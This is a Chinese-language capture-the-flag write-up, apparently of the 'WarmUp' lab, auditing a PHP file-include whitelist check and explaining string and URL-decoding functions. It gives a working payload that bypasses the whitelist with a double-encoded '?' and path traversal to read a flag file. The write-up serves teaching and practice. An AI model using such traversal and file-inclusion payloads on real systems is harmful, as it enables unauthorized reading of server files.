点击链接进入靶场环境
查看源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
发现注释中有source.php,访问得到:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} ?>
然后再查看hint.php
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
这段代码的意思是如果 file 不空、为字符串且经过emmm类的checkFile函数过滤,就执行文件包含,否则就输出滑稽图片,而需要被包含的文件就是hint.php提示的ffffllllaaaagggg。
继续审计代码前先看几个函数:
<?php
$str = 'http://www.baidu.com';
$str2 = urlencode($str);
echo $str2;
echo '<br/>';
echo urldecode($str2);
?>
/*
输出结果:
http%3A%2F%2Fwww.baidu.com
http://www.baidu.com
*/
继续审计代码:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
这段代码的大意是获取传入的参数位数,然后截取前该位数的字符。
举个例子,传入参数是flag.php,首先经过mb_strpos获取位数,为8.然后经过mb_substr截取flag.php的前八位,也就是flag.php。
然后需要该参数在白名单里,也就是截取第一个?后的值为hint.php或source.php
然后经过url解码后再进行一次过滤,如果最后返回真,即可包含文件。
payload:
?file=source.php%253F../../../../../ffffllllaaaagggg
注: 确保url解码后能通过白名单。浏览器会解码一次,而 ? 经过一次urlencode编码为:%3f;两次为:%253f
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- pqdy.cn 版权所有 赣ICP备2024042791号-6
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务